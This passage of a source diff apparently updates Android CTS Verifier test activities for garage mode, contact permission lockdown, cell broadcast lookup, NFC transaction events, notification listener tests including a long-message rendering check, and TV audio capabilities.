+        getPassButton().setEnabled(false);
+        mStatusText = findViewById(R.id.car_garage_mode_results);
+
+        // Garage Mode Monitor
+        Button monitorButton = (Button) view.findViewById(R.id.launch_garage_monitor);
+        monitorButton.setOnClickListener((buttonView) -> {
+            Context context = GarageModeTestActivity.this;
+            SharedPreferences prefs = context.getSharedPreferences(
+                    GarageModeChecker.PREFS_FILE_NAME, Context.MODE_PRIVATE);
+            long now = System.currentTimeMillis();
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putLong(GarageModeChecker.PREFS_INITIATION, now);
+            editor.putLong(GarageModeChecker.PREFS_GARAGE_MODE_START, 0);
+            editor.putLong(GarageModeChecker.PREFS_GARAGE_MODE_END, 0);
+            editor.putLong(GarageModeChecker.PREFS_TERMINATION, 0);
+            editor.putBoolean(GarageModeChecker.PREFS_HAD_CONNECTIVITY, false);
+            editor.commit();
+
+            GarageModeChecker.scheduleAnIdleJob(context, NUM_SECONDS_DURATION);
+            verifyStatus();
+            Log.v(TAG, "Scheduled GarageModeChecker to run when idle");
+        });
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        verifyStatus();
+    }
+
+    @Override
+    public void onWindowFocusChanged(boolean hasWindowFocus) {
+        super.onWindowFocusChanged(hasWindowFocus);
+        if (hasWindowFocus) {
+            verifyStatus();
+        }
+    }
+
+    private void verifyStatus() {
+        Context context = GarageModeTestActivity.this;
+        SharedPreferences prefs = context.getSharedPreferences(
+                GarageModeChecker.PREFS_FILE_NAME, Context.MODE_PRIVATE);
+        String resultsString;
+        DateFormat dateTime = DateFormat.getDateTimeInstance();
+
+        long now = System.currentTimeMillis();
+        long initiateTime = prefs.getLong(GarageModeChecker.PREFS_INITIATION, 0);
+        long garageModeStart = prefs.getLong(GarageModeChecker.PREFS_GARAGE_MODE_START, 0);
+        long garageModeEnd = prefs.getLong(GarageModeChecker.PREFS_GARAGE_MODE_END, 0);
+        long termination = prefs.getLong(GarageModeChecker.PREFS_TERMINATION, 0);
+        long jobUpdate = prefs.getLong(GarageModeChecker.PREFS_JOB_UPDATE, 0);
+        boolean hadConnectivity = prefs.getBoolean(GarageModeChecker.PREFS_HAD_CONNECTIVITY, false);
+
+        boolean testPassed = false;
+        if (initiateTime == 0) {
+            resultsString = "No results are available.\n\n"
+                    + "Perform the indicated steps to run the test.";
+        } else if (garageModeStart == 0) {
+            if (now < initiateTime + MAX_WAIT_UNTIL_GARAGE_MODE) {
+                resultsString = String.format("Waitng for Garage Mode to start.\n\n"
+                                + "%s -- Test was enabled",
+                        dateTime.format(initiateTime));
+            } else {
+                resultsString = String.format("Test failed.\n"
+                                + "Garage Mode did not run.\n\n"
+                                + "%s -- Test was enabled",
+                        dateTime.format(initiateTime));
+            }
+        } else if (garageModeEnd > (garageModeStart + RECOMMENDED_DURATION_MS)) {
+            testPassed = hadConnectivity;
+            resultsString = String.format("Test %s.\n"
+                            + "Garage Mode ran as required and for the recommended time.\n"
+                            + "Connectivity was %savailable.\n\n"
+                            + "%s -- Test was enabled\n"
+                            + "%s -- Garage mode started\n"
+                            + "%s -- Garage mode completed",
+                    (testPassed ? "Passed" : "Failed"),
+                    (hadConnectivity ? "" : "not "),
+                    dateTime.format(initiateTime), dateTime.format(garageModeStart),
+                    dateTime.format(garageModeEnd));
+        } else if (termination > (garageModeStart + REQUIRED_DURATION_MS)) {
+            testPassed = hadConnectivity;
+            resultsString = String.format("Test %s.\n"
+                            + "Garage Mode ran as required, "
+                            + "but for less time than is recommended.\n"
+                            + "  The CDD recommends that Garage Mode runs for 15 minutes.\n"
+                            + "Connectivity was %savailable.\n\n"
+                            + "%s -- Test was enabled\n"
+                            + "%s -- Garage mode started\n"
+                            + "%s -- Garage mode was terminated",
+                    (testPassed ? "Passed" : "Failed"),
+                    (hadConnectivity ? "" : "not "),
+                    dateTime.format(initiateTime), dateTime.format(garageModeStart),
+                    dateTime.format(termination));
+        } else if (termination > 0) {
+            resultsString = String.format("Test Failed.\n"
+                            + "Garage Mode ran, but for less than the required time.\n"
+                            + "  The minimum requirement is that Garage Mode runs for 30 seconds.\n"
+                            + "  The CDD recommends that Garage Mode runs for 15 minutes.\n"
+                            + "Connectivity was %savailable.\n\n"
+                            + "%s -- Test was enabled\n"
+                            + "%s -- Garage mode started\n"
+                            + "%s -- Garage mode was terminated",
+                    (hadConnectivity ? "" : "not "),
+                    dateTime.format(initiateTime), dateTime.format(garageModeStart),
+                    dateTime.format(termination));
+        } else if (now < jobUpdate + GarageModeChecker.MS_PER_ITERATION * 2) {
+            resultsString = "Garage Mode started and test is running.\n\n"
+                    + dateTime.format(initiateTime) + " -- Test was enabled\n"
+                    + dateTime.format(garageModeStart) + " -- Garage mode started\n"
+                    + dateTime.format(jobUpdate) + " -- Last job updated";
+        } else {
+            resultsString = "Test failed.\n\n"
+                    + "Garage Mode started, but terminated unexpectedly.\n\n"
+                    + dateTime.format(initiateTime) + " -- Test was enabled\n"
+                    + dateTime.format(garageModeStart) + " -- Garage mode started";
+        }
+        mStatusText.setText(resultsString);
+        getPassButton().setEnabled(testPassed);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java
index ea7e801..343820f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PermissionLockdownTestActivity.java
@@ -37,6 +37,7 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+import java.util.Arrays;
 public class PermissionLockdownTestActivity extends PassFailButtons.Activity
         implements RadioGroup.OnCheckedChangeListener {
     private static final String PERMISSION_APP_PACKAGE = "com.android.cts.permissionapp";
@@ -55,8 +56,10 @@
     static final String ACTION_MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN
             = MANAGED_PROVISIONING_ACTION_PREFIX + "MANAGED_PROFILE_CHECK_PERMISSION_LOCKDOWN";
 
-    // Permission grant states will be set on this permission.
-    private static final String CONTACTS_PERMISSION = android.Manifest.permission.READ_CONTACTS;
+   // Permission grant states will be set on these permissions.
+    private static final String[] CONTACTS_PERMISSIONS = new String[] {
+            android.Manifest.permission.READ_CONTACTS, android.Manifest.permission.WRITE_CONTACTS
+    };
 
     private boolean mDeviceOwnerTest;
     private DevicePolicyManager mDevicePolicyManager;
@@ -102,11 +105,23 @@
         packageNameTextView.setText(packageManager.getApplicationLabel(applicationInfo));
 
         TextView permissionNameTextView = (TextView) findViewById(R.id.permission_name);
-        permissionNameTextView.setText(CONTACTS_PERMISSION);
+        permissionNameTextView.setText(Arrays.toString(CONTACTS_PERMISSIONS));
 
         // Get the current permission grant state for initializing the RadioGroup.
-        int currentPermissionState = mDevicePolicyManager.getPermissionGrantState(mAdmin,
-                    PERMISSION_APP_PACKAGE, CONTACTS_PERMISSION);
+        int readPermissionState = mDevicePolicyManager.getPermissionGrantState(mAdmin,
+                    PERMISSION_APP_PACKAGE, CONTACTS_PERMISSIONS[0]);
+        int writePermissionState = mDevicePolicyManager.getPermissionGrantState(mAdmin,
+                PERMISSION_APP_PACKAGE, CONTACTS_PERMISSIONS[1]);
+        int currentPermissionState;
+        if (readPermissionState == DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED ||
+        writePermissionState == DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED) {
+            currentPermissionState = DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
+        } else if (readPermissionState == DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED ||
+                    writePermissionState == DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED) {
+            currentPermissionState = DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED;
+        } else {
+            currentPermissionState = readPermissionState;
+        }
         RadioGroup permissionRadioGroup = (RadioGroup) findViewById(R.id.permission_group);
         switch (currentPermissionState) {
             case DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED: {
@@ -174,7 +189,9 @@
             } break;
         }
         mDevicePolicyManager.setPermissionGrantState(mAdmin, PERMISSION_APP_PACKAGE,
-                CONTACTS_PERMISSION, permissionGrantState);
+                CONTACTS_PERMISSIONS[0], permissionGrantState);
+        mDevicePolicyManager.setPermissionGrantState(mAdmin, PERMISSION_APP_PACKAGE,
+                CONTACTS_PERMISSIONS[1], permissionGrantState);
     }
 
     private boolean isProfileOrDeviceOwner() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 5328109..5f1243f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -19,8 +19,11 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.os.UserManager;
 import android.provider.Settings;
+import android.provider.Telephony;
+import android.text.TextUtils;
 import android.util.ArrayMap;
 
 import com.android.cts.verifier.R;
@@ -240,7 +243,8 @@
                 boolean isCellBroadcastAppLinkEnabled = context.getResources().getBoolean(resId);
                 try {
                     if (isCellBroadcastAppLinkEnabled) {
-                        if (pm.getApplicationEnabledSetting("com.android.cellbroadcastreceiver")
+                        String packageName = getDefaultCellBroadcastReceiverPackageName(context);
+                        if (packageName == null || pm.getApplicationEnabledSetting(packageName)
                                 == PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                             isCellBroadcastAppLinkEnabled = false;  // CMAS app disabled
                         }
@@ -273,6 +277,32 @@
         }
     }
 
+    /**
+     * Utility method to query the default CBR's package name.
+     * from frameworks/base/telephony/common/com/android/internal/telephony/CellBroadcastUtils.java
+     */
+    private static String getDefaultCellBroadcastReceiverPackageName(Context context) {
+        PackageManager packageManager = context.getPackageManager();
+        ResolveInfo resolveInfo = packageManager.resolveActivity(
+                new Intent(Telephony.Sms.Intents.SMS_CB_RECEIVED_ACTION),
+                PackageManager.MATCH_SYSTEM_ONLY);
+        String packageName;
+
+        if (resolveInfo == null) {
+            return null;
+        }
+
+        packageName = resolveInfo.activityInfo.applicationInfo.packageName;
+
+        if (TextUtils.isEmpty(packageName) || packageManager.checkPermission(
+            android.Manifest.permission.READ_CELL_BROADCASTS, packageName)
+                == PackageManager.PERMISSION_DENIED) {
+            return null;
+        }
+
+        return packageName;
+    }
+
     private static class UserRestrictionItem {
         final int label;
         final int userAction;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
index 037dd7f..795028e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
@@ -29,6 +29,7 @@
 import android.nfc.NfcAdapter;
 import android.nfc.cardemulation.CardEmulation;
 import android.os.AsyncTask;
+import android.os.Build;
 import android.os.Bundle;
 import android.util.Log;
 import android.widget.TextView;
@@ -53,7 +54,11 @@
 
         setContentView(R.layout.pass_fail_text);
         setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
+        if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
+            getPassButton().setEnabled(false);
+        } else {
+            getPassButton().setEnabled(true);
+        }
 
         mTextView = (TextView) findViewById(R.id.text);
         mTextView.setTextSize(12.0f);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
index 6f257af..34a418b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
@@ -29,6 +29,7 @@
 import android.nfc.NfcAdapter;
 import android.nfc.cardemulation.CardEmulation;
 import android.os.AsyncTask;
+import android.os.Build;
 import android.os.Bundle;
 import android.util.Log;
 import android.widget.TextView;
@@ -53,7 +54,11 @@
 
         setContentView(R.layout.pass_fail_text);
         setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
+        if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
+            getPassButton().setEnabled(false);
+        } else {
+            getPassButton().setEnabled(true);
+        }
 
         mTextView = (TextView) findViewById(R.id.text);
         mTextView.setTextSize(12.0f);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
index d79674d..6055ac4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
@@ -29,6 +29,7 @@
 import android.nfc.NfcAdapter;
 import android.nfc.cardemulation.CardEmulation;
 import android.os.AsyncTask;
+import android.os.Build;
 import android.os.Bundle;
 import android.util.Log;
 import android.widget.TextView;
@@ -53,7 +54,11 @@
 
         setContentView(R.layout.pass_fail_text);
         setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
+        if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
+            getPassButton().setEnabled(false);
+        } else {
+            getPassButton().setEnabled(true);
+        }
 
         mTextView = (TextView) findViewById(R.id.text);
         mTextView.setTextSize(12.0f);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index aa5e9c0..121534a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -257,8 +257,8 @@
         return item;
     }
 
-    protected View createAutoItem(ViewGroup parent, int stringId) {
-        View item = mInflater.inflate(R.layout.nls_item, parent, false);
+    protected ViewGroup createAutoItem(ViewGroup parent, int stringId) {
+        ViewGroup item = (ViewGroup) mInflater.inflate(R.layout.nls_item, parent, false);
         TextView instructions = item.findViewById(R.id.nls_instructions);
         instructions.setText(stringId);
         View button = item.findViewById(R.id.nls_action_button);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
deleted file mode 100644
index eb6a681..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
+++ /dev/null
@@ -1,165 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.notifications;
-
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Rect;
-import android.media.MediaMetadata;
-import android.media.session.MediaSession;
-import android.media.session.PlaybackState;
-import android.os.Bundle;
-import android.view.View;
-import android.view.ViewGroup;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Tests for media player shown in quick setting when media style notification is posted.
- */
-public class MediaPlayerVerifierActivity extends InteractiveVerifierActivity {
-
-    // Pieces of the media session.
-    private static final String SESSION_KEY = "Session";
-    private static final String SESSION_TITLE = "Song";
-    private static final String SESSION_ARTIST = "Artist";
-    private static final long SESSION_DURATION = 60000L;
-
-    // Pieces of the media style notification.
-    private static final String TITLE = "Media-style Notification";
-    private static final String TEXT = "Notification for a test media session";
-    private static final String CHANNEL_ID = "MediaPlayerVerifierActivity";
-
-    private MediaSession mSession;
-    private NotificationManager mManager;
-    private Notification.Builder mBuilder;
-
-    @Override
-    public List<InteractiveTestCase> createTestItems() {
-        List<InteractiveTestCase> cases = new ArrayList<>();
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_song_and_artist));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_album_art));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_progress_bar));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_actions));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_output_switcher));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_compact_actions));
-        return cases;
-    }
-
-    @Override
-    public int getInstructionsResource() {
-        return R.string.qs_media_player_info;
-    }
-
-    @Override
-    public int getTitleResource() {
-        return R.string.qs_media_player_test;
-    }
-
-    private class MediaPlayerTestCase extends InteractiveTestCase {
-        private final int mDescriptionResId;
-
-        MediaPlayerTestCase(int resId) {
-            mDescriptionResId = resId;
-        }
-
-        @Override
-        protected void setUp() {
-            postMediaStyleNotification();
-            status = READY;
-        }
-
-        @Override
-        protected void tearDown() {
-            cancelMediaStyleNotification();
-        }
-
-        @Override
-        protected View inflate(ViewGroup parent) {
-            return createPassFailItem(parent, mDescriptionResId);
-        }
-
-        @Override
-        protected void test() {
-            status = WAIT_FOR_USER;
-            next();
-        }
-    }
-
-    private void postMediaStyleNotification() {
-        mManager = this.getSystemService(NotificationManager.class);
-        mSession = new MediaSession(this, SESSION_KEY);
-
-        // create a solid color bitmap to use as album art in media metadata
-        Bitmap bitmap = Bitmap.createBitmap(300, 300, Bitmap.Config.ARGB_8888);
-        new Canvas(bitmap).drawColor(Color.YELLOW);
-
-        // set up media session with metadata and playback state
-        mSession.setMetadata(new MediaMetadata.Builder()
-                .putString(MediaMetadata.METADATA_KEY_ARTIST, SESSION_ARTIST)
-                .putString(MediaMetadata.METADATA_KEY_TITLE, SESSION_TITLE)
-                .putLong(MediaMetadata.METADATA_KEY_DURATION, SESSION_DURATION)
-                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, bitmap)
-                .build());
-        mSession.setPlaybackState(new PlaybackState.Builder()
-                .setState(PlaybackState.STATE_PAUSED, 6000L, 1f)
-                .setActions(PlaybackState.ACTION_SEEK_TO | PlaybackState.ACTION_PLAY |
-                        PlaybackState.ACTION_PAUSE)
-                .build());
-
-        // set up notification builder
-        NotificationChannel channel = new NotificationChannel(CHANNEL_ID, CHANNEL_ID,
-                NotificationManager.IMPORTANCE_LOW);
-        mManager.createNotificationChannel(channel);
-        mBuilder = new Notification.Builder(this, CHANNEL_ID)
-                .setContentTitle(TITLE).setContentText(TEXT)
-                .setSmallIcon(R.drawable.ic_android)
-                .setStyle(new Notification.MediaStyle()
-                        .setShowActionsInCompactView(1, 2, 3)
-                        .setMediaSession(mSession.getSessionToken()))
-                .setColor(Color.BLUE)
-                .setColorized(true)
-                .addAction(android.R.drawable.ic_media_rew, "rewind", null)
-                .addAction(android.R.drawable.ic_media_previous, "previous track", null)
-                .addAction(android.R.drawable.ic_media_pause, "pause", null)
-                .addAction(android.R.drawable.ic_media_next, "next track", null)
-                .addAction(android.R.drawable.ic_media_ff, "fast forward", null);
-
-        mSession.setActive(true);
-        mManager.notify(1, mBuilder.build());
-    }
-
-    private void cancelMediaStyleNotification() {
-        if (mSession != null) {
-            mSession.release();
-            mSession = null;
-        }
-        if (mManager != null) {
-            mManager.cancelAll();
-            mManager.deleteNotificationChannel(CHANNEL_ID);
-            mManager = null;
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
index 12e2b93..31980af 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
@@ -51,7 +51,7 @@
     public static final String JSON_STATS = "stats";
     public static final String JSON_LAST_AUDIBLY_ALERTED = "last_audibly_alerted";
 
-    ArrayList<String> mPosted = new ArrayList<String>();
+    ArrayList<StatusBarNotification> mPosted = new ArrayList<>();
     ArrayMap<String, JSONObject> mNotifications = new ArrayMap<>();
     ArrayMap<String, String> mNotificationKeys = new ArrayMap<>();
     ArrayList<String> mRemoved = new ArrayList<String>();
@@ -77,6 +77,15 @@
         return mNotifications.values();
     }
 
+    protected StatusBarNotification getPosted(String tag) {
+        for (StatusBarNotification sbn : mPosted) {
+            if (sbn.getTag().equals(tag)) {
+                return sbn;
+            }
+        }
+        return null;
+    }
+
     protected String getKeyForTag(String tag) {
         return mNotificationKeys.get(tag);
     }
@@ -149,7 +158,7 @@
     public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
         if (!mTestPackages.contains(sbn.getPackageName())) { return; }
         Log.d(TAG, "posted: " + sbn.getTag());
-        mPosted.add(sbn.getTag());
+        mPosted.add(sbn);
         mPostedNotifications.add(sbn.getNotification());
         JSONObject notification = new JSONObject();
         try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 42ee9e1..1d704b0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -56,6 +56,8 @@
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.Button;
+import android.widget.FrameLayout;
+import android.widget.RemoteViews;
 
 import androidx.core.app.NotificationCompat;
 
@@ -117,6 +119,7 @@
         tests.add(new IsEnabledTest());
         tests.add(new ServiceStartedTest());
         tests.add(new NotificationReceivedTest());
+        tests.add(new LongMessageTest());
         tests.add(new DataIntactTest());
         tests.add(new AudiblyAlertedTest());
         tests.add(new DismissOneTest());
@@ -261,8 +264,73 @@
 
         @Override
         protected void test() {
-            List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
-            if (result.size() > 0 && result.contains(mTag1)) {
+            if (MockListener.getInstance().getPosted(mTag1) != null) {
+                status = PASS;
+            } else {
+                logFail();
+                status = FAIL;
+            }
+        }
+    }
+
+    private class LongMessageTest extends InteractiveTestCase {
+        private ViewGroup mParent;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mParent = createAutoItem(parent, R.string.nls_anr);
+            return mParent;
+        }
+
+        @Override
+        protected void setUp() {
+            createChannels();
+            StringBuilder sb = new StringBuilder();
+            for (int i = 0; i < 20000; i++) {
+                sb.append("\u2009\u200a" + "\u200E\u200F" + "stuff");
+            }
+            Notification.Builder builder = new Notification.Builder(
+                    mContext, NOTIFICATION_CHANNEL_ID)
+                    .setSmallIcon(android.R.id.icon)
+                    .setContentTitle("This is an long notification")
+                    .setContentText("Innocuous content")
+                    .setStyle(new Notification.MessagingStyle("Fake person")
+                            .addMessage("hey how is it goin", 0, "Person 1")
+                            .addMessage("hey", 0, "Person 1")
+                            .addMessage("u there", 0, "Person 1")
+                            .addMessage("how you like tHIS", 0, "Person 1")
+                            .addMessage(sb.toString(), 0, "Person 1")
+                    );
+            mTag1 = UUID.randomUUID().toString();
+            mId1 = NOTIFICATION_ID + 1;
+            mPackageString = "com.android.cts.verifier";
+            mNm.notify(mTag1, mId1, builder.build());
+            status = READY;
+        }
+
+        @Override
+        protected void tearDown() {
+            mNm.cancelAll();
+            MockListener.getInstance().resetData();
+            deleteChannels();
+        }
+
+        @Override
+        protected void test() {
+            StatusBarNotification sbn = MockListener.getInstance().getPosted(mTag1);
+            if (sbn == null) {
+                logFail();
+                status = FAIL;
+            } else {
+                ViewGroup parent = mParent.findViewById(R.id.feedback);
+                parent.setVisibility(View.VISIBLE);
+                final Notification.Builder recoveredBuilder = Notification.Builder.recoverBuilder(
+                        NotificationListenerVerifierActivity.this,
+                        sbn.getNotification());
+                RemoteViews rv = recoveredBuilder.createContentView();
+                View v = rv.apply(NotificationListenerVerifierActivity.this, parent);
+                parent.addView(v);
+            }
+            if (MockListener.getInstance().getPosted(mTag1) != null) {
                 status = PASS;
             } else {
                 logFail();
@@ -985,8 +1053,7 @@
             if (MockListener.getInstance() == null) {
                 status = PASS;
             } else {
-                List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
-                if (result.size() == 0) {
+                if (MockListener.getInstance().mPosted.size() == 0) {
                     status = PASS;
                 } else {
                     logFail();
@@ -1157,8 +1224,7 @@
                     state = READY_TO_CHECK_FOR_UNSNOOZE;
                 }
             } else {
-                List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
-                if (result.size() > 0 && result.contains(mTag1)) {
+                if (MockListener.getInstance().getPosted(mTag1) != null) {
                     status = PASS;
                 } else {
                     logFail();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
new file mode 100644
index 0000000..4241b61
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
@@ -0,0 +1,6 @@
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file: CA*.java, Ca*.java, KeyChainTest.java
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file: LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java
+# Bug component: 189335 = per-file: FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java
+per-file CA*.java, Ca*.java, KeyChainTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
index 229ce0a..4f8a825 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
@@ -21,6 +21,7 @@
 import android.media.AudioAttributes;
 import android.media.AudioFormat;
 import android.media.AudioTrack;
+import android.view.View;
 
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.tv.TestSequence;
@@ -46,23 +47,25 @@
  *   <li>Receiver or soundbar is connected
  * </ol>
  */
-public class AudioCapabilitiesTestActivity extends TvAppVerifierActivity {
-    private static final ImmutableList<AudioFormat> TESTED_AUDIO_FORMATS =
+public class AudioCapabilitiesTestActivity extends TvAppVerifierActivity
+        implements View.OnClickListener {
+
+    private final ImmutableList<AudioFormat> ATMOS_FORMATS =
             ImmutableList.of(
-                    // PCM formats
-                    makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6),
-                    makeAudioFormat(ENCODING_PCM_16BIT, 44100, 8),
+                    // EAC3_JOC formats - ignoring channel count for Atmos
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 1),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 2),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 3),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 4),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 5),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 6),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 7),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 8));
 
-                    // AC3 formats
-                    makeAudioFormat(ENCODING_AC3, 44100, 6),
-                    makeAudioFormat(ENCODING_AC3, 44100, 8),
-
-                    // EAC3_JOC formats
-                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 8),
-                    // EAC3 formats
-                    makeAudioFormat(ENCODING_E_AC3, 44100, 8));
 
     private TestSequence mTestSequence;
+    private View mSupportDolbyAtmosYesItem;
+    private View mSupportDolbyAtmosNoItem;
 
     @Override
     protected void setInfoResources() {
@@ -71,16 +74,40 @@
     }
 
     @Override
+    public void onClick(View v) {
+        if (containsButton(mSupportDolbyAtmosYesItem, v)) {
+            setPassState(mSupportDolbyAtmosYesItem, true);
+            setButtonEnabled(mSupportDolbyAtmosNoItem, false);
+            List<TestStepBase> testSteps = new ArrayList<>();
+            testSteps.add(new TvTestStep(this));
+            testSteps.add(new ReceiverTestStep(this));
+            testSteps.add(new TvTestStep(this));
+            mTestSequence = new TestSequence(this, testSteps);
+            mTestSequence.init();
+            return;
+        } else if (containsButton(mSupportDolbyAtmosNoItem, v)) {
+            setPassState(mSupportDolbyAtmosYesItem, true);
+            setButtonEnabled(mSupportDolbyAtmosNoItem, false);
